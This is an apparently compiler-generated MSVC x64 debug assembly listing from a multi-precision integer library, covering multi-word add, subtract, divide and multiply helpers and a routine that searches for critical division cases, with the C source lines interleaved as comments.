; COMDAT SUBTRUCT_3W_UNIT
_TEXT SEGMENT
x1$ = 224
x2$ = 232
x3$ = 240
y$ = 248
SUBTRUCT_3W_UNIT PROC ; COMDAT
; 50 : {
mov DWORD PTR [rsp+32], r9d
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__7646DD32_calc_divrem_critical@c
call __CheckForDebuggerJustMyCode
; 51 : return (_SUBTRUCT_UNIT_DIV(_SUBTRUCT_UNIT_DIV(_SUBTRUCT_UNIT_DIV(0, *x3, y, x3), *x2, 0, x2), *x1, 0, x1));
mov r9, QWORD PTR x3$[rbp]
mov r8d, DWORD PTR y$[rbp]
mov rax, QWORD PTR x3$[rbp]
mov edx, DWORD PTR [rax]
xor ecx, ecx
call _SUBTRUCT_UNIT_DIV
mov r9, QWORD PTR x2$[rbp]
xor r8d, r8d
mov rcx, QWORD PTR x2$[rbp]
mov edx, DWORD PTR [rcx]
movzx ecx, al
call _SUBTRUCT_UNIT_DIV
mov r9, QWORD PTR x1$[rbp]
xor r8d, r8d
mov rcx, QWORD PTR x1$[rbp]
mov edx, DWORD PTR [rcx]
movzx ecx, al
call _SUBTRUCT_UNIT_DIV
; 52 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
SUBTRUCT_3W_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\calc_divrem_critical.c
; COMDAT ADD_4W_UNIT
_TEXT SEGMENT
x1$ = 224
x2$ = 232
x3$ = 240
x4$ = 248
y$ = 256
ADD_4W_UNIT PROC ; COMDAT
; 45 : {
mov QWORD PTR [rsp+32], r9
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__7646DD32_calc_divrem_critical@c
call __CheckForDebuggerJustMyCode
; 46 : return (_ADD_UNIT_DIV(_ADD_UNIT_DIV(_ADD_UNIT_DIV(_ADD_UNIT_DIV(0, *x4, y, x4), *x3, 0, x3), *x2, 0, x2), *x1, 0, x1));
mov r9, QWORD PTR x4$[rbp]
mov r8d, DWORD PTR y$[rbp]
mov rax, QWORD PTR x4$[rbp]
mov edx, DWORD PTR [rax]
xor ecx, ecx
call _ADD_UNIT_DIV
mov r9, QWORD PTR x3$[rbp]
xor r8d, r8d
mov rcx, QWORD PTR x3$[rbp]
mov edx, DWORD PTR [rcx]
movzx ecx, al
call _ADD_UNIT_DIV
mov r9, QWORD PTR x2$[rbp]
xor r8d, r8d
mov rcx, QWORD PTR x2$[rbp]
mov edx, DWORD PTR [rcx]
movzx ecx, al
call _ADD_UNIT_DIV
mov r9, QWORD PTR x1$[rbp]
xor r8d, r8d
mov rcx, QWORD PTR x1$[rbp]
mov edx, DWORD PTR [rcx]
movzx ecx, al
call _ADD_UNIT_DIV
; 47 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
ADD_4W_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\calc_divrem_critical.c
; COMDAT ADD_3W_UNIT
_TEXT SEGMENT
x1$ = 224
x2$ = 232
x3$ = 240
y$ = 248
ADD_3W_UNIT PROC ; COMDAT
; 40 : {
mov DWORD PTR [rsp+32], r9d
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__7646DD32_calc_divrem_critical@c
call __CheckForDebuggerJustMyCode
; 41 : return (_ADD_UNIT_DIV(_ADD_UNIT_DIV(_ADD_UNIT_DIV(0, *x3, y, x3), *x2, 0, x2), *x1, 0, x1));
mov r9, QWORD PTR x3$[rbp]
mov r8d, DWORD PTR y$[rbp]
mov rax, QWORD PTR x3$[rbp]
mov edx, DWORD PTR [rax]
xor ecx, ecx
call _ADD_UNIT_DIV
mov r9, QWORD PTR x2$[rbp]
xor r8d, r8d
mov rcx, QWORD PTR x2$[rbp]
mov edx, DWORD PTR [rcx]
movzx ecx, al
call _ADD_UNIT_DIV
mov r9, QWORD PTR x1$[rbp]
xor r8d, r8d
mov rcx, QWORD PTR x1$[rbp]
mov edx, DWORD PTR [rcx]
movzx ecx, al
call _ADD_UNIT_DIV
; 42 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
ADD_3W_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\calc_divrem_critical.c
; COMDAT CalculateCriticalDataOfDivision
_TEXT SEGMENT
v_min_1$ = 4
v_min_2$ = 36
v_min_3$ = 68
u_min_0$ = 100
u_min_1$ = 132
u_min_2$ = 164
u_min_3$ = 196
u_count_0$ = 228
u_count_1$ = 260
u_count_2$ = 292
u_count_3$ = 324
u0$ = 356
u1$ = 388
u2$ = 420
u3$ = 452
v_count_1$24 = 484
v_count_2$25 = 516
v_count_3$26 = 548
v1$27 = 580
v2$28 = 612
v3$29 = 644
q_$30 = 676
bu0$31 = 708
bu1$32 = 740
bu2$33 = 772
bu3$34 = 804
mv1_hi$35 = 836
mv1_lo$36 = 868
mv2_hi$37 = 900
mv2_lo$38 = 932
mv3_hi$39 = 964
mv3_lo$40 = 996
env$ = 1440
CalculateCriticalDataOfDivision PROC ; COMDAT
; 102 : {
$LN19:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 1480 ; 000005c8H
lea rbp, QWORD PTR [rsp+64]
mov rdi, rsp
mov ecx, 370 ; 00000172H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+1512]
lea rcx, OFFSET FLAT:__7646DD32_calc_divrem_critical@c
call __CheckForDebuggerJustMyCode
; 103 : const __UNIT_TYPE_DIV v_min_1 = ~((__UNIT_TYPE_DIV)-1 >> 1); // 0x80000000
mov DWORD PTR v_min_1$[rbp], -2147483648 ; 80000000H
; 104 : const __UNIT_TYPE_DIV v_min_2 = 0; // 0x00000000
mov DWORD PTR v_min_2$[rbp], 0
; 105 : const __UNIT_TYPE_DIV v_min_3 = 0;
mov DWORD PTR v_min_3$[rbp], 0
; 106 :
; 107 : const __UNIT_TYPE_DIV u_min_0 = 0; // 0x00000000
mov DWORD PTR u_min_0$[rbp], 0
; 108 : const __UNIT_TYPE_DIV u_min_1 = ~((__UNIT_TYPE_DIV)-1 >> 1); // 0x80000000
mov DWORD PTR u_min_1$[rbp], -2147483648 ; 80000000H
; 109 : const __UNIT_TYPE_DIV u_min_2 = 0; // 0x00000000
mov DWORD PTR u_min_2$[rbp], 0
; 110 : const __UNIT_TYPE_DIV u_min_3 = 0; // 0x00000000
mov DWORD PTR u_min_3$[rbp], 0
; 111 :
; 112 : __UNIT_TYPE_DIV u_count_0 = (__UNIT_TYPE_DIV)-1; // 0xffffffff
mov DWORD PTR u_count_0$[rbp], -1 ; ffffffffH
; 113 : __UNIT_TYPE_DIV u_count_1 = ~((__UNIT_TYPE_DIV)-1 >> 1); // 0x80000000
mov DWORD PTR u_count_1$[rbp], -2147483648 ; 80000000H
; 114 : __UNIT_TYPE_DIV u_count_2 = 0; // 0x00000000
mov DWORD PTR u_count_2$[rbp], 0
; 115 : __UNIT_TYPE_DIV u_count_3 = 0; // 0x00000000
mov DWORD PTR u_count_3$[rbp], 0
; 116 :
; 117 : __UNIT_TYPE_DIV u0 = u_min_0;
mov eax, DWORD PTR u_min_0$[rbp]
mov DWORD PTR u0$[rbp], eax
; 118 : __UNIT_TYPE_DIV u1 = u_min_1;
mov eax, DWORD PTR u_min_1$[rbp]
mov DWORD PTR u1$[rbp], eax
; 119 : __UNIT_TYPE_DIV u2 = u_min_2;
mov eax, DWORD PTR u_min_2$[rbp]
mov DWORD PTR u2$[rbp], eax
; 120 : __UNIT_TYPE_DIV u3 = u_min_3;
mov eax, DWORD PTR u_min_3$[rbp]
mov DWORD PTR u3$[rbp], eax
$LN2@CalculateC:
; 121 :
; 122 : for (;;)
; 123 : {
; 124 : __UNIT_TYPE_DIV v_count_1 = ~((__UNIT_TYPE_DIV)-1 >> 1); // 0x80000000
mov DWORD PTR v_count_1$24[rbp], -2147483648 ; 80000000H
; 125 : __UNIT_TYPE_DIV v_count_2 = 0; // 0x00000000
mov DWORD PTR v_count_2$25[rbp], 0
; 126 : __UNIT_TYPE_DIV v_count_3 = 0; // 0x00000000
mov DWORD PTR v_count_3$26[rbp], 0
; 127 : __UNIT_TYPE_DIV v1 = v_min_1;
mov eax, DWORD PTR v_min_1$[rbp]
mov DWORD PTR v1$27[rbp], eax
; 128 : __UNIT_TYPE_DIV v2 = v_min_2;
mov eax, DWORD PTR v_min_2$[rbp]
mov DWORD PTR v2$28[rbp], eax
; 129 : __UNIT_TYPE_DIV v3 = v_min_3;
mov eax, DWORD PTR v_min_3$[rbp]
mov DWORD PTR v3$29[rbp], eax
$LN5@CalculateC:
; 130 : for (;;)
; 131 : {
; 132 : __UNIT_TYPE_DIV q_ = AsumeQ_(u0, u1, v1);
mov r8d, DWORD PTR v1$27[rbp]
mov edx, DWORD PTR u1$[rbp]
mov ecx, DWORD PTR u0$[rbp]
call AsumeQ_
mov DWORD PTR q_$30[rbp], eax
; 133 : if (CheckQ_(q_, u0, u1, u2, v1, v2))
mov eax, DWORD PTR v2$28[rbp]
mov DWORD PTR [rsp+40], eax
mov eax, DWORD PTR v1$27[rbp]
mov DWORD PTR [rsp+32], eax
mov r9d, DWORD PTR u2$[rbp]
mov r8d, DWORD PTR u1$[rbp]
mov edx, DWORD PTR u0$[rbp]
mov ecx, DWORD PTR q_$30[rbp]
call CheckQ_
test eax, eax
je SHORT $LN8@CalculateC
; 134 : {
; 135 : --q_;
mov eax, DWORD PTR q_$30[rbp]
dec eax
mov DWORD PTR q_$30[rbp], eax
; 136 : if (CheckQ_(q_, u0, u1, u2, v1, v2))
mov eax, DWORD PTR v2$28[rbp]
mov DWORD PTR [rsp+40], eax
mov eax, DWORD PTR v1$27[rbp]
mov DWORD PTR [rsp+32], eax
mov r9d, DWORD PTR u2$[rbp]
mov r8d, DWORD PTR u1$[rbp]
mov edx, DWORD PTR u0$[rbp]
mov ecx, DWORD PTR q_$30[rbp]
call CheckQ_
test eax, eax
je SHORT $LN9@CalculateC
; 137 : {
; 138 : --q_;
mov eax, DWORD PTR q_$30[rbp]
dec eax
mov DWORD PTR q_$30[rbp], eax
$LN9@CalculateC:
$LN8@CalculateC:
; 139 : }
; 140 : }
; 141 : __UNIT_TYPE_DIV bu0 = u0;
mov eax, DWORD PTR u0$[rbp]
mov DWORD PTR bu0$31[rbp], eax
; 142 : __UNIT_TYPE_DIV bu1 = u1;
mov eax, DWORD PTR u1$[rbp]
mov DWORD PTR bu1$32[rbp], eax
; 143 : __UNIT_TYPE_DIV bu2 = u2;
mov eax, DWORD PTR u2$[rbp]
mov DWORD PTR bu2$33[rbp], eax
; 144 : __UNIT_TYPE_DIV bu3 = u3;
mov eax, DWORD PTR u3$[rbp]
mov DWORD PTR bu3$34[rbp], eax
; 145 : __UNIT_TYPE_DIV mv1_hi;
; 146 : __UNIT_TYPE_DIV mv1_lo = _MULTIPLY_UNIT_DIV(v1, q_, &mv1_hi);
lea r8, QWORD PTR mv1_hi$35[rbp]
mov edx, DWORD PTR q_$30[rbp]
mov ecx, DWORD PTR v1$27[rbp]
call _MULTIPLY_UNIT_DIV
mov DWORD PTR mv1_lo$36[rbp], eax
; 147 : __UNIT_TYPE_DIV mv2_hi;
; 148 : __UNIT_TYPE_DIV mv2_lo = _MULTIPLY_UNIT_DIV(v2, q_, &mv2_hi);
lea r8, QWORD PTR mv2_hi$37[rbp]
mov edx, DWORD PTR q_$30[rbp]
mov ecx, DWORD PTR v2$28[rbp]
call _MULTIPLY_UNIT_DIV
mov DWORD PTR mv2_lo$38[rbp], eax
; 149 : __UNIT_TYPE_DIV mv3_hi;
; 150 : __UNIT_TYPE_DIV mv3_lo = _MULTIPLY_UNIT_DIV(v3, q_, &mv3_hi);
lea r8, QWORD PTR mv3_hi$39[rbp]
mov edx, DWORD PTR q_$30[rbp]
mov ecx, DWORD PTR v3$29[rbp]
call _MULTIPLY_UNIT_DIV
mov DWORD PTR mv3_lo$40[rbp], eax
; 151 : #ifdef ENABLED_PERFORMANCE_COUNTER
; 152 : if (sizeof(mv1_hi) == sizeof(_UINT32_T))
xor eax, eax
cmp eax, 1
je SHORT $LN10@CalculateC
; 153 : AddToMULTI32Counter(3);
mov ecx, 3
call AddToMULTI32Counter
jmp SHORT $LN11@CalculateC
$LN10@CalculateC:
; 154 : else
; 155 : AddToMULTI64Counter(3);
mov ecx, 3
call AddToMULTI64Counter
$LN11@CalculateC:
; 156 : #endif
; 157 :
; 158 : // [bu0, bu1, bu2, bu3] -= mv3_lo;
; 159 : // [bu0, bu1, bu2] -= mv3_hi;
; 160 : // [bu0, bu1, bu2] -= mv2_lo;
; 161 : // [bu0, bu1] -= mv2_hi;
; 162 : // [bu0, bu1] -= mv1_lo;
; 163 : // [bu0] -= mv1_hi;
; 164 :
; 165 :
; 166 : if (_SUBTRUCT_UNIT_DIV(_SUBTRUCT_UNIT_DIV(_SUBTRUCT_UNIT_DIV(_SUBTRUCT_UNIT_DIV(0, bu3, mv3_lo, &bu3), bu2, mv3_hi, &bu2), bu1, 0, &bu1), bu0, 0, &bu0) ||
; 167 : _SUBTRUCT_UNIT_DIV(_SUBTRUCT_UNIT_DIV(_SUBTRUCT_UNIT_DIV(0, bu2, mv2_lo, &bu2), bu1, mv2_hi, &bu1), bu0, 0, &bu0) ||
lea r9, QWORD PTR bu3$34[rbp]
mov r8d, DWORD PTR mv3_lo$40[rbp]
mov edx, DWORD PTR bu3$34[rbp]
xor ecx, ecx
call _SUBTRUCT_UNIT_DIV
lea r9, QWORD PTR bu2$33[rbp]
mov r8d, DWORD PTR mv3_hi$39[rbp]
mov edx, DWORD PTR bu2$33[rbp]
movzx ecx, al
call _SUBTRUCT_UNIT_DIV
lea r9, QWORD PTR bu1$32[rbp]
xor r8d, r8d
mov edx, DWORD PTR bu1$32[rbp]
movzx ecx, al
call _SUBTRUCT_UNIT_DIV
lea r9, QWORD PTR bu0$31[rbp]
xor r8d, r8d
mov edx, DWORD PTR bu0$31[rbp]
movzx ecx, al
call _SUBTRUCT_UNIT_DIV
movsx eax, al
test eax, eax
jne $LN13@CalculateC
lea r9, QWORD PTR bu2$33[rbp]
mov r8d, DWORD PTR mv2_lo$38[rbp]
mov edx, DWORD PTR bu2$33[rbp]
xor ecx, ecx
call _SUBTRUCT_UNIT_DIV
lea r9, QWORD PTR bu1$32[rbp]
mov r8d, DWORD PTR mv2_hi$37[rbp]
mov edx, DWORD PTR bu1$32[rbp]
movzx ecx, al
call _SUBTRUCT_UNIT_DIV
lea r9, QWORD PTR bu0$31[rbp]
xor r8d, r8d
mov edx, DWORD PTR bu0$31[rbp]
movzx ecx, al
call _SUBTRUCT_UNIT_DIV
movsx eax, al
test eax, eax
jne SHORT $LN13@CalculateC
lea r9, QWORD PTR bu1$32[rbp]
mov r8d, DWORD PTR mv1_lo$36[rbp]
mov edx, DWORD PTR bu1$32[rbp]
xor ecx, ecx
call _SUBTRUCT_UNIT_DIV
lea r9, QWORD PTR bu0$31[rbp]
mov r8d, DWORD PTR mv1_hi$35[rbp]
mov edx, DWORD PTR bu0$31[rbp]
movzx ecx, al
call _SUBTRUCT_UNIT_DIV
movsx eax, al
test eax, eax
je $LN12@CalculateC
$LN13@CalculateC:
; 168 : _SUBTRUCT_UNIT_DIV(_SUBTRUCT_UNIT_DIV(0, bu1, mv1_lo, &bu1), bu0, mv1_hi, &bu0))
; 169 : {
; 170 : if (sizeof(__UNIT_TYPE_DIV) <= 4)
xor eax, eax
cmp eax, 1
je SHORT $LN14@CalculateC
; 171 : env->log("found: u0=0x%08x, u1=0x%08x, u2=0x%08x, u3=0x%08x, v1=0x%08x, v2=0x%08x, v3=0x%08x\n", u0, u1, u2, u3, v1, v2, v3);
mov eax, DWORD PTR v3$29[rbp]
mov DWORD PTR [rsp+56], eax
mov eax, DWORD PTR v2$28[rbp]
mov DWORD PTR [rsp+48], eax
mov eax, DWORD PTR v1$27[rbp]
mov DWORD PTR [rsp+40], eax
mov eax, DWORD PTR u3$[rbp]
mov DWORD PTR [rsp+32], eax
mov r9d, DWORD PTR u2$[rbp]
mov r8d, DWORD PTR u1$[rbp]
mov edx, DWORD PTR u0$[rbp]
lea rcx, OFFSET FLAT:??_C@_0FE@HJGKBDLB@found?3?5u0?$DN0x?$CF08x?0?5u1?$DN0x?$CF08x?0?5u2@
mov rax, QWORD PTR env$[rbp]
call QWORD PTR [rax]
jmp SHORT $LN15@CalculateC
$LN14@CalculateC:
; 172 : else
; 173 : env->log("found: u0=0x%016llx, u1=0x%016llx, u2=0x%016llx, u3=0x%016llx, v1=0x%016llx, v2=0x%016llx, v3=0x%016llx\n", u0, u1, u2, u3, v1, v2, v3);
mov eax, DWORD PTR v3$29[rbp]
mov DWORD PTR [rsp+56], eax
mov eax, DWORD PTR v2$28[rbp]
mov DWORD PTR [rsp+48], eax
mov eax, DWORD PTR v1$27[rbp]
mov DWORD PTR [rsp+40], eax
mov eax, DWORD PTR u3$[rbp]
mov DWORD PTR [rsp+32], eax
mov r9d, DWORD PTR u2$[rbp]
mov r8d, DWORD PTR u1$[rbp]
mov edx, DWORD PTR u0$[rbp]
lea rcx, OFFSET FLAT:??_C@_0GJ@FDENHGMK@found?3?5u0?$DN0x?$CF016llx?0?5u1?$DN0x?$CF016l@
mov rax, QWORD PTR env$[rbp]
call QWORD PTR [rax]
$LN15@CalculateC:
; 174 : env->pause();
mov rax, QWORD PTR env$[rbp]
call QWORD PTR [rax+8]
$LN12@CalculateC:
; 175 : }
; 176 :
; 177 : if (SUBTRUCT_3W_UNIT(&v_count_1, &v_count_2, &v_count_3, 1))
mov r9d, 1
lea r8, QWORD PTR v_count_3$26[rbp]
lea rdx, QWORD PTR v_count_2$25[rbp]
lea rcx, QWORD PTR v_count_1$24[rbp]
call SUBTRUCT_3W_UNIT
movsx eax, al
test eax, eax
je SHORT $LN16@CalculateC
; 178 : break;
jmp SHORT $LN6@CalculateC
$LN16@CalculateC:
; 179 : ADD_3W_UNIT(&v1, &v2, &v3, 1);
mov r9d, 1
lea r8, QWORD PTR v3$29[rbp]
lea rdx, QWORD PTR v2$28[rbp]
lea rcx, QWORD PTR v1$27[rbp]
call ADD_3W_UNIT
; 180 : }
jmp $LN5@CalculateC
$LN6@CalculateC:
; 181 : if (SUBTRUCT_4W_UNIT(&u_count_0, &u_count_1, &u_count_2, &u_count_3, 1))
mov DWORD PTR [rsp+32], 1
lea r9, QWORD PTR u_count_3$[rbp]
lea r8, QWORD PTR u_count_2$[rbp]
lea rdx, QWORD PTR u_count_1$[rbp]
lea rcx, QWORD PTR u_count_0$[rbp]
call SUBTRUCT_4W_UNIT
movsx eax, al
test eax, eax
je SHORT $LN17@CalculateC
; 182 : break;
jmp SHORT $LN3@CalculateC
$LN17@CalculateC:
; 183 : ADD_4W_UNIT(&u0, &u1, &u2, &u3, 1);
mov DWORD PTR [rsp+32], 1
lea r9, QWORD PTR u3$[rbp]
lea r8, QWORD PTR u2$[rbp]
lea rdx, QWORD PTR u1$[rbp]
lea rcx, QWORD PTR u0$[rbp]
call ADD_4W_UNIT
; 184 : }
jmp $LN2@CalculateC
$LN3@CalculateC:
; 185 :
; 186 : }
lea rcx, QWORD PTR [rbp-64]
lea rdx, OFFSET FLAT:CalculateCriticalDataOfDivision$rtcFrameData
call _RTC_CheckStackVars
lea rsp, QWORD PTR [rbp+1416]
pop rdi
pop rbp
ret 0
CalculateCriticalDataOfDivision ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_internal.h
; COMDAT AddToMULTI64Counter
_TEXT SEGMENT
value$ = 224
AddToMULTI64Counter PROC ; COMDAT
; 1112 : {
mov DWORD PTR [rsp+8], ecx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov ecx, DWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__4522B509_pmc_internal@h
call __CheckForDebuggerJustMyCode
; 1113 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI64, value);
lea rax, OFFSET FLAT:statistics_info
mov ecx, DWORD PTR value$[rbp]
lock add DWORD PTR [rax], ecx
; 1114 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
AddToMULTI64Counter ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_internal.h
; COMDAT AddToMULTI32Counter
_TEXT SEGMENT
value$ = 224
AddToMULTI32Counter PROC ; COMDAT
; 1106 : {
mov DWORD PTR [rsp+8], ecx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov ecx, DWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__4522B509_pmc_internal@h
call __CheckForDebuggerJustMyCode
; 1107 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
lea rax, OFFSET FLAT:statistics_info+4
mov ecx, DWORD PTR value$[rbp]
lock add DWORD PTR [rax], ecx
; 1108 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
AddToMULTI32Counter ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_internal.h
; COMDAT IncrementDIV64Counter
_TEXT SEGMENT
IncrementDIV64Counter PROC ; COMDAT
; 1077 : {
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
lea rcx, OFFSET FLAT:__4522B509_pmc_internal@h
call __CheckForDebuggerJustMyCode
; 1078 : _InterlockedIncrement(&statistics_info.COUNT_DIV64);
lea rax, OFFSET FLAT:statistics_info+8
lock inc DWORD PTR [rax]
; 1079 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
IncrementDIV64Counter ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_internal.h
; COMDAT IncrementDIV32Counter
_TEXT SEGMENT
IncrementDIV32Counter PROC ; COMDAT
; 1071 : {
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
lea rcx, OFFSET FLAT:__4522B509_pmc_internal@h
call __CheckForDebuggerJustMyCode
; 1072 : _InterlockedIncrement(&statistics_info.COUNT_DIV32);
lea rax, OFFSET FLAT:statistics_info+12
lock inc DWORD PTR [rax]
; 1073 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
IncrementDIV32Counter ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_internal.h
; COMDAT _DIVREM_UNIT
_TEXT SEGMENT
t$1 = 8
tv71 = 216
tv68 = 216
u_high$ = 256
u_low$ = 264
v$ = 272
r$ = 280
_DIVREM_UNIT PROC ; COMDAT
; 670 : {
mov QWORD PTR [rsp+32], r9
mov DWORD PTR [rsp+24], r8d
mov DWORD PTR [rsp+16], edx
mov DWORD PTR [rsp+8], ecx
push rbp
push rdi
sub rsp, 264 ; 00000108H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 66 ; 00000042H
mov eax, -858993460 ; ccccccccH
rep stosd
mov ecx, DWORD PTR [rsp+296]
lea rcx, OFFSET FLAT:__4522B509_pmc_internal@h
call __CheckForDebuggerJustMyCode
; 671 : #ifdef _MSC_VER
; 672 : if (sizeof(__UNIT_TYPE_DIV) == sizeof(_UINT32_T))
xor eax, eax
cmp eax, 1
je SHORT $LN2@DIVREM_UNI
; 673 : {
; 674 : // 64bit/32bitの除算を行う組み込み関数は実装されていない。
; 675 : _UINT64_T t = _FROMWORDTODWORD(u_high, u_low);
mov edx, DWORD PTR u_low$[rbp]
mov ecx, DWORD PTR u_high$[rbp]
call _FROMWORDTODWORD
mov QWORD PTR t$1[rbp], rax
; 676 : *r = (_UINT32_T)(t % v);
mov eax, DWORD PTR v$[rbp]
mov QWORD PTR tv68[rbp], rax
xor edx, edx
mov rax, QWORD PTR t$1[rbp]
mov rcx, QWORD PTR tv68[rbp]
div rcx
mov rax, rdx
mov rcx, QWORD PTR r$[rbp]
mov DWORD PTR [rcx], eax
; 677 : return ((_UINT32_T)(t / v));
mov eax, DWORD PTR v$[rbp]
mov QWORD PTR tv71[rbp], rax
xor edx, edx
mov rax, QWORD PTR t$1[rbp]
mov rcx, QWORD PTR tv71[rbp]
div rcx
jmp SHORT $LN1@DIVREM_UNI
; 678 : }
jmp SHORT $LN3@DIVREM_UNI
$LN2@DIVREM_UNI:
; 679 : else if (sizeof(__UNIT_TYPE_DIV) == sizeof(_UINT64_T))
xor eax, eax
test eax, eax
je SHORT $LN4@DIVREM_UNI
; 680 : {
; 681 : // 以下の理由のため、MSVCでは 128bit/64bit の除算を実装できない。運用で回避すること。
; 682 : // ・(x64 に限らず) 除算の組み込み関数が用意されていない。
; 683 : // ・128bit 整数のデータ型が用意されていない。
; 684 : // ・x64 ではインラインアセンブラがサポートされていない。
; 685 : *r = 0;
mov rax, QWORD PTR r$[rbp]
mov DWORD PTR [rax], 0
; 686 : return (0);
xor eax, eax
jmp SHORT $LN1@DIVREM_UNI
; 687 : }
jmp SHORT $LN5@DIVREM_UNI
$LN4@DIVREM_UNI:
; 688 : else
; 689 : {
; 690 : // 未知のプラットフォームの場合はとりあえず適当なものを返す。
; 691 : *r = 0;
mov rax, QWORD PTR r$[rbp]
mov DWORD PTR [rax], 0
; 692 : return (0);
xor eax, eax
$LN5@DIVREM_UNI:
$LN3@DIVREM_UNI:
$LN1@DIVREM_UNI:
; 693 : }
; 694 : #elif defined(__GNUC__)
; 695 : __UNIT_TYPE q;
; 696 : if (sizeof(__UNIT_TYPE_DIV) == sizeof(_UINT32_T))
; 697 : __asm__("divl %4": "=a"(q), "=d"(*r) : "0"(u_low), "1"(u_high), "rm"(v));
; 698 : else if (sizeof(__UNIT_TYPE_DIV) == sizeof(_UINT64_T))
; 699 : __asm__("divq %4": "=a"(q), "=d"(*r) : "0"(u_low), "1"(u_high), "rm"(v));
; 700 : else
; 701 : {
; 702 : // 未知のプラットフォームの場合はとりあえず適当なものを返す。
; 703 : *r = 0;
; 704 : q = 0;
; 705 : }
; 706 : return (q);
; 707 : #else
; 708 : #error unknown compiler
; 709 : #endif
; 710 : }
lea rsp, QWORD PTR [rbp+232]
pop rdi
pop rbp
ret 0
_DIVREM_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_internal.h
; COMDAT _MULTIPLY_UNIT_DIV
_TEXT SEGMENT
u$ = 224
v$ = 232
w_hi$ = 240
_MULTIPLY_UNIT_DIV PROC ; COMDAT
; 602 : {
mov QWORD PTR [rsp+24], r8
mov DWORD PTR [rsp+16], edx
mov DWORD PTR [rsp+8], ecx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov ecx, DWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__4522B509_pmc_internal@h
call __CheckForDebuggerJustMyCode
; 603 : #ifdef _MSC_VER
; 604 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, DWORD PTR u$[rbp]
mov ecx, DWORD PTR v$[rbp]
imul rax, rcx
mov rdx, QWORD PTR w_hi$[rbp]
mov rcx, rax
call _FROMDWORDTOWORD
; 605 : #elif defined(__GNUC__)
; 606 : #ifdef _M_IX86
; 607 : _UINT32_T w_lo;
